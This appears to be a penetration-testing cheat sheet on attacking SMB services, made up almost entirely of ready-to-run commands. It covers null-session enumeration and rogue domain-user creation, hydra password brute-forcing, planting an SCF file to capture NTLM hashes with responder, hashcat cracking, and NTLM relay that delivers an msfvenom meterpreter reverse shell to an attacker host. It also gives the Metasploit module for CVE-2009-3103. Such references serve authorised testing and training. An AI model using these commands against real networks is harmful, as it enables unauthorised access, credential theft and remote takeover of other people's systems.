139,445 - SMB
CLI Tools
SMBMap
SMBClient
RPC
# NULL session
rpcclient -U "" -N 10.10.10.10
enumalsgroups builtin
# create user
createdomuser user1
# set new password
setuserinfo2 user1 24 'Pass123!'
Operations
sudo nmap -sV -p 139,445 -script smb* 10.10.10.10
impacket-smbserver -smb2support share . -username test -password tes
Enumeration
# Enum4Linux
/opt/enum4linux-ng/enum4linux-ng.py 172.16.10.3 -A
# Impacket
/opt/impacket/examples/samrdump.py 172.16.10.3
Attacks
Passwords
# BFA with wordlists
hydra -L <user-list> -P <pass-list> smb://<target-ip>
# BFA a target user
hydra -l <username> -P <pass-list> smb://<target-ip>
Hashes
All described methods (SCF, LNK, SC) require WRITE
access to a share/directory:
If
WRITE
access to a share is available, NetExec modules can be used for automation.If
WRITE
access is only available within aREADABLE
share, the process must be done manually.
For stealing the hash, the user must only browse the share, not interact with the file.
Share permissions can be configured to only allow folders to be created, not files; nxc
will flag WRITE
access in those cases.
Requires WRITE
access to the Users
share!
The Shell Command File (SCF) is a Windows file format used to define simple Explorer shell commands — kind of like shortcuts, but more primitive (read more here).
# Create the SCF file
nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip>
Monitor the traffic (MSF's auxiliary/server/capture/smb
can also be used):
sudo responder -I tun0
Clean up:
nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip> CLEANUP=True
If a share is locally mounted and WRITE
access is available for the SMB/Users/WritableDir
folder, but not for the Users
share, we can create an SCF file:
[Shell]
Command=2
IconFile=\\10.10.10.10\share\test.io
[Taskbar]
Command=ToggleDesktop
Listen:
sudo responder -I tun0
Transfer the SCF file to the writable directory:
sudo cp example.scf SMB/Users/WritableDir
Once a hash is obtained it can be cracked or relayed.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou
NTLM Relay
Relay for gaining RCE with a Meterpreter listener:
# Enumerate the target hosts
nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
# Create a reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f exe > shell.exe
# Start the SMB server
sudo impacket-ntlmrelayx -tf relay.txt -e ./shell.exe
# Start the listener
$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker-ip>; set
LPORT 4444; exploit -j"
# Migrate
meterpreter > ps
meterpreter > migrate <PID>
Vulnerabilities
SMBv2 Negotiation
Windows Vista (Gold, SP1, SP2), Windows Server 2008 (Gold, SP2), and Windows 7 Release Candidate are affected by a RCE vulnerability (CVE-2009-3103), aka SMBv2 Negotiation Vulnerability, in the SMBv2 protocol implementation within srv2.sys
, the kernel-mode driver responsible for SMBv2 handling in certain Microsoft Windows versions. A flaw in the processing of the Process ID High
header field in a NEGOTIATE PROTOCOL REQUEST
packet allows an attacker to trigger an array index error by supplying an ampersand (&
) character. This malformed input leads to an out-of-bounds memory dereference in kernel space.
When exploited, it can result in either a denial of service through a system crash (blue screen) or, under certain conditions, arbitrary code execution with kernel-level privileges. The attack is conducted over TCP port 445
and does not require authentication, making it highly dangerous when SMBv2 services are exposed to untrusted networks.
A MSF module exists for exploiting the vulnerability.
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Last updated
Was this helpful?